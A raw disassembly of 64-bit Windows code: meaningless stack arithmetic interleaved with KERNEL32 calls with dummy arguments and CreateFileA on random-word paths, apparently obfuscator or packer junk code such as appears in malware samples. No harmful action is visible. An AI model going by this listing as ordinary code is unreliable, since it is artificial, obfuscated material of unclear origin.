mov rax, rcx
mov rcx, qword [rsp + 0xa9e8]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xa410], rax
movzx eax, byte [rsp + 0xa5]
mov byte [rsp + 0x150], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.C:Tolerantlilywhite
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xb968], rax
lea rax, [0x1401e6054]
mov qword [0x1401e78a0], rax
mov rax, qword [rsp + 0xad28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53]
xor eax, ecx
mov byte [rsp + 0xfc], al
mov rax, qword [rsp + 0x9cd8]
movzx eax, word [rax]
mov word [rsp + 0x1048], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9688], rax
mov rax, qword [0x1401e74f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd78]
or eax, ecx
mov rcx, qword [rsp + 0xb428]
mov word [rcx], ax
mov rax, qword [rsp + 0xa888]
movzx eax, word [rax]
mov word [rsp + 0x104c], ax
mov rax, qword [rsp + 0xa6d8]
movzx ecx, al
mov rax, qword [rsp + 0xaaa0]
shr rax, cl
mov rcx, qword [rsp + 0xb358]
mov qword [rcx], rax
lea rcx, str.spurting_enough_Vasectomy_Peninsulas_nudity
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xf24], ax
mov rcx, qword [rsp + 0xac60]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x49d8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x4764]
mov rcx, qword [rsp + 0xa5f0]
mov qword [rsp + 0xb970], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb970]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x94e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb330]
mov rax, qword [rax]
mov qword [rsp + 0xb978], rax
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x46dc], eax
mov rax, qword [rsp + 0x8fa0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a0c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4644], eax
mov r9d, 0x682
xor r8d, r8d
lea rdx, [rsp + 0x9110]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x44f4], eax
mov rax, qword [rsp + 0x9e68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xab50]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401e7488]
mov word [rcx], ax
mov rax, qword [rsp + 0xa518]
movzx eax, byte [rax]
mov byte [rsp + 0x151], al
movsx eax, byte [rsp + 0x139]
movsx ecx, byte [rsp + 0xa2]
and eax, ecx
mov byte [rsp + 0xfb], al
mov rax, qword [0x1401e7870]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa678]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd7c], ax
lea rax, [rsp + 0xcf4]
mov qword [rsp + 0xb980], rax
mov rax, qword [rsp + 0x93f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9a60]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x98f8]
mov qword [rcx], rax
lea rax, [rsp + 0x4574]
mov qword [rsp + 0xb988], rax
mov rax, qword [rsp + 0x9130]
mov ecx, dword [rsp + 0x484c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4444], eax
lea rdx, [rsp + 0x28298]
mov rcx, qword [rsp + 0xb6a0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4a10], eax
mov rax, qword [rsp + 0xb200]
mov rcx, qword [rsp + 0xb420]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb3e8], rax
mov ecx, 9
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4940], eax
mov rax, qword [rsp + 0xa728]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa610]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e6072], al
movzx eax, byte [rsp + 0x66]
mov byte [rsp + 0x152], al
movsx eax, word [rsp + 0xf94]
mov rcx, qword [rsp + 0xa678]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf1c], ax
lea rax, [rsp + 0x120]
mov qword [rsp + 0xb990], rax
movzx eax, word [rsp + 0xfe0]
movzx ecx, word [rsp + 0xd14]
sub eax, ecx
mov word [rsp + 0xfd8], ax
mov rax, qword [rsp + 0x9cb0]
mov rcx, qword [rsp + 0xb870]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa570]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov rax, qword [rsp + 0xa408]
mov rax, qword [rax]
mov qword [rsp + 0xb998], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x45cc], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.C:_advertisementMagneticallyjailedpopulism
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xb9a0], rax
mov rax, qword [rsp + 0xa048]
mov ecx, dword [rsp + 0x4674]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x462c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov rax, qword [rsp + 0xb388]
mov eax, dword [rax]
mov dword [rsp + 0x4a14], eax
mov rax, qword [rsp + 0x9960]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53]
shl eax, cl
mov byte [0x1401e74b7], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xa8e0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
movsx eax, byte [rsp + 0xf1]
movsx ecx, byte [rsp + 0x107]
or eax, ecx
mov rcx, qword [rsp + 0x9838]
mov byte [rcx], al
lea rax, [rsp + 0x100c]
mov qword [rsp + 0xb9a8], rax
mov rax, qword [rsp + 0x91f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x83]
sar eax, cl
mov byte [rsp + 0x9b], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xb9b0], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2510
mov r9d, 0xb42
mov r8d, 0xc4e6ea16
mov edx, 1
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4a10], eax
movzx eax, word [rsp + 0xda0]
movzx ecx, word [rsp + 0xf28]
cdq
idiv ecx
mov word [rsp + 0xca4], ax
lea rcx, [rsp + 0x2a800]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x4830], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4a18], eax
mov rcx, qword [rsp + 0xb458]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x9ee8]
mov eax, dword [rax]
mov dword [rsp + 0x4a1c], eax
mov rax, qword [rsp + 0x9798]
mov rcx, qword [rsp + 0x9010]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb538], rax
mov rax, qword [rsp + 0x9168]
mov qword [rsp + 0xb9b8], rax
mov rax, qword [rsp + 0x8cd0]
mov ecx, dword [rsp + 0x48a0]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x4378], eax
lea rax, [rsp + 0xe50]
mov qword [0x1401e78a8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
movsx eax, byte [rsp + 0xb3]
movsx ecx, byte [rsp + 0xc6]
sub eax, ecx
mov byte [rsp + 0xc3], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov qword [rsp + 0x20], 0
mov r9d, 0x537
mov r8d, 0x2270
mov edx, 0xe8
mov rcx, qword [rsp + 0x9300]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4a20], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xadb0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xb160], rax
lea rax, [rsp + 0xe18]
mov qword [rsp + 0xb9c0], rax
mov rax, qword [rsp + 0x9868]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaca8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x68], al
lea rax, [rsp + 0xd8]
mov qword [rsp + 0xb9c8], rax
mov rcx, qword [rsp + 0xb2b8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x49a8], eax
mov rax, qword [rsp + 0xadb8]
mov rcx, qword [0x1401e6020]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9288], rax
mov rax, qword [rsp + 0xac30]
mov rcx, qword [rsp + 0xa3c0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x99c0]
mov qword [rcx], rax
lea rax, [rsp + 0x496c]
mov qword [rsp + 0xb9d0], rax
mov eax, dword [rsp + 0x4834]
mov ecx, dword [rsp + 0x464c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa298]
mov dword [rcx], eax
lea rcx, [rsp + 0x26ab8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x8e68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa668]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401e74d8]
mov byte [rcx], al
lea rax, [rsp + 0x100c]
mov qword [rsp + 0xb9d8], rax
mov rax, qword [rsp + 0x9028]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e6043]
add eax, ecx
mov rcx, qword [rsp + 0x99a0]
mov byte [rcx], al
mov rax, qword [rsp + 0xa910]
movzx eax, byte [rax]
mov byte [rsp + 0x153], al
movsx eax, word [rsp + 0x100c]
mov rcx, qword [rsp + 0xa720]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc6c], ax
mov rax, qword [rsp + 0xb888]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9108]
mov qword [rsp + 0xb9e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb9e0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xa068]
mov dword [rcx], eax
xor r9d, r9d
lea r8, [rsp + 0x8db0]
mov rdx, qword [rsp + 0x94b8]
mov rcx, qword [rsp + 0xa350]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4908], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x46cc]
mov qword [rsp + 0xb9e8], rax
mov rax, qword [rsp + 0xa138]
mov rcx, qword [rsp + 0xa640]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb570], rax
mov rcx, qword [rsp + 0x8fd8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xb768]
mov rax, qword [rax]
mov qword [rsp + 0xb9f0], rax
movzx eax, word [rsp + 0xe2c]
movzx ecx, word [rsp + 0xe74]
cdq
idiv ecx
mov word [0x1401e604c], ax
movzx eax, word [rsp + 0xdd8]
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa0a0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x82]
mov rcx, qword [rsp + 0x9c40]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa0d8]
mov byte [rcx], al
lea rax, [rsp + 0xb98]
mov qword [rsp + 0xb9f8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, byte [rsp + 0x140]
movzx ecx, byte [rsp + 0x6f]
and eax, ecx
mov rcx, qword [rsp + 0x9868]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
mov rax, qword [rsp + 0xa540]
mov rax, qword [rax]
mov qword [rsp + 0xba00], rax
mov rax, qword [rsp + 0x9140]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4444]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4384], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xbe9b
mov rcx, qword [rsp + 0x9f20]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4a24], eax
mov rax, qword [rsp + 0xb908]
mov rcx, qword [rsp + 0x95f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x49e0], eax
mov rax, qword [rsp + 0xb340]
mov qword [rsp + 0xba08], rax
lea rax, [rsp + 0xea0]
mov qword [0x1401e78b0], rax
movzx eax, byte [rsp + 0xab]
movzx ecx, byte [rsp + 0xea]
sub eax, ecx
mov rcx, qword [rsp + 0x99a0]
mov byte [rcx], al
mov rax, qword [0x1401e7630]
movzx eax, byte [rax]
mov byte [rsp + 0x154], al
movzx eax, word [rsp + 0xea8]
movzx ecx, word [rsp + 0xd70]
add eax, ecx
mov rcx, qword [rsp + 0x9a88]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
lea rdx, [rsp + 0x4558]
mov rcx, qword [rsp + 0xb3f0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x491c], eax
mov rax, qword [rsp + 0x94f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9ed8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xee4], ax
lea rax, [0x1401e7420]
mov qword [rsp + 0xba10], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0xba18], rax
mov rax, qword [rsp + 0xb940]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4588]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x499c], eax
mov rax, qword [rsp + 0xa298]
mov eax, dword [rax]
mov dword [rsp + 0x4a28], eax
mov rax, qword [rsp + 0xb358]
mov rcx, qword [0x1401e6020]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa5a0], rax
movzx ecx, word [rsp + 0xbac]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf98], ax
movzx eax, byte [rsp + 0x126]
mov byte [rsp + 0x155], al
movzx ecx, word [rsp + 0xeac]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf60], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0xe4c]
mov word [0x1401e78b8], ax
mov rax, qword [rsp + 0xb3c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x97e0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa230]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x47b8], eax
movzx eax, word [0x1401e6084]
mov rcx, qword [rsp + 0x94f8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xab28]
mov word [rcx], ax
movzx eax, word [rsp + 0xcf8]
mov word [rsp + 0x1050], ax
mov eax, dword [rsp + 0x48c0]
movzx ecx, al
mov eax, dword [rsp + 0x43ac]
sar eax, cl
mov rcx, qword [rsp + 0x9e38]
mov dword [rcx], eax
lea rax, [rsp + 0xb598]
mov qword [rsp + 0xba20], rax
mov rax, qword [rsp + 0xa080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4428]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb4d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xac68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9e98]
mov qword [rsp + 0xba28], rcx
movzx ecx, al
mov rax, qword [rsp + 0xba28]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xa558]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa040]
movzx eax, word [rax]
mov word [rsp + 0x1054], ax
movsx eax, byte [rsp + 0x84]
movsx ecx, byte [rsp + 0xb7]
xor eax, ecx
mov byte [0x1401e6037], al
movsx eax, byte [rsp + 0xb1]
mov rcx, qword [rsp + 0x9e70]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x14c], al
mov ecx, reloc.COMCTL32.dll_MakeDragList
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x43b8], eax
mov rax, qword [rsp + 0xb9d8]
movzx eax, word [rax]
mov word [rsp + 0x1058], ax
movzx eax, byte [rsp + 0x115]
movzx ecx, byte [rsp + 0x120]
sub eax, ecx
mov rcx, qword [rsp + 0xb380]
mov byte [rcx], al
mov rax, qword [rsp + 0xa1b8]
mov rcx, qword [rsp + 0xb328]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb240]
mov qword [rcx], rax
mov eax, dword [rsp + 0x45a8]
mov dword [rsp + 0x4a2c], eax
mov rax, qword [rsp + 0xb270]
mov rcx, qword [rsp + 0xa3c0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xba10]
mov qword [rcx], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xe9a
mov r9d, 0x1401
mov r8d, 0x2b1865ea
mov edx, 2
mov rcx, qword [rsp + 0xa648]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4a30], eax
mov eax, dword [rsp + 0x4464]
mov dword [rsp + 0x4a34], eax
movzx eax, word [rsp + 0xfa4]
movzx ecx, word [rsp + 0xbe0]
add eax, ecx
mov word [rsp + 0xfac], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
movzx eax, byte [rsp + 0x122]
movzx ecx, byte [rsp + 0x13f]
add eax, ecx
mov byte [0x1401e6082], al
movzx ecx, word [rsp + 0xd28]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd60], ax
mov rax, qword [rsp + 0x93d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa108]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa790]
mov byte [rcx], al
movzx eax, byte [rsp + 0x143]
mov byte [rsp + 0x156], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xba30], rax
mov edx, 0x257893
mov rcx, qword [rsp + 0x8f98]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x469c], eax
mov rcx, qword [rsp + 0x91e8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4274], eax
mov rax, qword [rsp + 0x91c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8fd0]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xa688]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4a38], eax
lea rax, [0x1401e6008]
mov qword [rsp + 0xba38], rax
mov r9d, 1
lea r8, [rsp + 0xab48]
mov rdx, qword [rsp + 0xa450]
mov rcx, qword [rsp + 0x8da8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4234], eax
mov rax, qword [rsp + 0xb800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa8b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9ef8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb248]
mov eax, dword [rax]
mov dword [rsp + 0x4a3c], eax
mov rax, qword [rsp + 0x8f90]
mov ecx, dword [rsp + 0x42c4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x44b0], eax
movsx eax, word [rsp + 0x1028]
movsx ecx, word [rsp + 0xee0]
sub eax, ecx
mov word [rsp + 0xd74], ax
mov rax, qword [rsp + 0x98b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xde]
shl eax, cl
mov rcx, qword [0x1401e7830]
mov byte [rcx], al
lea rcx, [rsp + 0x25480]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov dword [rsp + 0x2a8a0], 0x94
movzx eax, word [rsp + 0xffc]
mov word [rsp + 0x105c], ax
mov rax, qword [rsp + 0xa630]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9e08]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x5f], al
movzx eax, word [rsp + 0xfe4]
mov word [rsp + 0x1060], ax
movsx eax, word [rsp + 0xce0]
movsx ecx, word [rsp + 0x1014]
xor eax, ecx
mov rcx, qword [rsp + 0x92c8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xb288], rax
mov rax, qword [rsp + 0x9f08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4280]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaa00]
mov dword [rcx], eax
lea rax, [rsp + 0xa3f0]
mov qword [rsp + 0xba40], rax
mov rax, qword [rsp + 0xa8d0]
mov rcx, qword [rsp + 0xab60]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb598], rax
lea rcx, [rsp + 0x268d8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rcx, qword [rsp + 0x9e20]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4a40], eax
mov rax, qword [rsp + 0xa1b0]
mov eax, dword [rax]
mov dword [rsp + 0x4a44], eax
lea rax, [rsp + 0xb1]
mov qword [0x1401e78c0], rax
lea rcx, [rsp + 0xa930]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [rsp + 0xec8]
movzx ecx, word [0x1401e74b4]
add eax, ecx
mov rcx, qword [rsp + 0x8fd0]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x8d30], rax
mov rax, qword [rsp + 0xa038]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x125]
sub eax, ecx
mov byte [rsp + 0xea], al
mov dword [rsp + 0x20], 0x3385
mov r9d, 0xcbd
mov r8d, 0x1d9c
mov edx, 0x3633
mov rcx, qword [rsp + 0x95c8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4314], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.C:_boldestcoralsAshcans
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xba48], rax
movzx eax, byte [rsp + 0xc7]
mov byte [rsp + 0x157], al
mov rax, qword [rsp + 0x9938]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa6f0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xdb4], ax
lea rax, [rsp + 0x9670]
mov qword [rsp + 0xba50], rax
mov rax, qword [rsp + 0x9568]
mov ecx, dword [rsp + 0x466c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb248]
mov dword [rcx], eax
lea rax, [rsp + 0x4938]
mov qword [rsp + 0xba58], rax
mov rax, qword [rsp + 0xad00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9998]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ca0], rax
lea rdx, [rsp + 0xa450]
mov rcx, qword [rsp + 0x9380]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4238], eax
mov rax, qword [rsp + 0xa9a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfa]
sub eax, ecx
mov byte [0x1401e6072], al
mov rax, qword [rsp + 0xb5e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa248]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8e18]
mov byte [rcx], al
mov rax, qword [rsp + 0xa650]
movzx eax, word [rax]
mov word [rsp + 0x1064], ax
mov rax, qword [rsp + 0xabf8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb430]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa198]
mov byte [rcx], al
mov rax, qword [0x1401e76d0]
movzx eax, word [rax]
mov word [rsp + 0x1068], ax
mov rax, qword [rsp + 0xb958]
mov rcx, qword [rsp + 0x9e88]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb1f0], rax
mov rax, qword [rsp + 0x9ac8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4420]
shl eax, cl
mov dword [rsp + 0x4528], eax
lea rax, [rsp + 0xb328]
mov qword [rsp + 0xba60], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x46e4], eax
mov rax, qword [rsp + 0x9658]
mov rcx, qword [rsp + 0xadd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4690], eax
mov rax, qword [rsp + 0x9350]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa5e8]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1401e6100], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0x8e30]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4770], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
movzx eax, byte [rsp + 0x14c]
mov byte [rsp + 0x158], al
mov rax, qword [rsp + 0x90f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xdd4]
add eax, ecx
mov word [rsp + 0xd80], ax
mov rax, qword [rsp + 0xb380]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e6036]
and eax, ecx
mov byte [rsp + 0xea], al
movzx eax, word [rsp + 0xc04]
mov word [rsp + 0x106c], ax
mov rax, qword [rsp + 0xa048]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4640]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaba8]
mov dword [rcx], eax
lea rax, [rsp + 0x9df0]
mov qword [rsp + 0xba68], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xba70], rax
mov rax, qword [rsp + 0xab40]
mov ecx, dword [rsp + 0x4714]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x46d0], eax
mov rax, qword [rsp + 0xad30]
mov rcx, qword [rsp + 0xa3c0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x99c0]
mov qword [rcx], rax
movzx eax, word [rsp + 0xc60]
mov rcx, qword [0x1401e7798]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e7560], ax
lea rax, [rsp + 0x90]
mov qword [rsp + 0xba78], rax
mov rax, qword [rsp + 0xa7b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb960]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb0f0]
mov byte [rcx], al
movzx eax, word [rsp + 0xe30]
mov word [rsp + 0x1070], ax
mov rax, qword [rsp + 0xb990]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa270]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa038]
mov byte [rcx], al
mov rax, qword [rsp + 0xa510]
mov qword [rsp + 0xba80], rax
mov rax, qword [rsp + 0xb738]
mov ecx, dword [rsp + 0x484c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa2e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa990]
mov ecx, dword [rsp + 0x4584]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x44f8], eax
mov rax, qword [rsp + 0xb938]
mov rax, qword [rax]
mov qword [rsp + 0xba88], rax
lea rax, [rsp + 0xd38]
mov qword [0x1401e78c8], rax
movsx eax, byte [rsp + 0x126]
mov rcx, qword [rsp + 0xa620]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x107], al
lea rax, [rsp + 0x8c]
mov qword [rsp + 0xba90], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xacb0], rax
movzx eax, word [rsp + 0xee8]
mov rcx, qword [rsp + 0x9a88]
movzx ecx, word [rcx]
xor eax, ecx
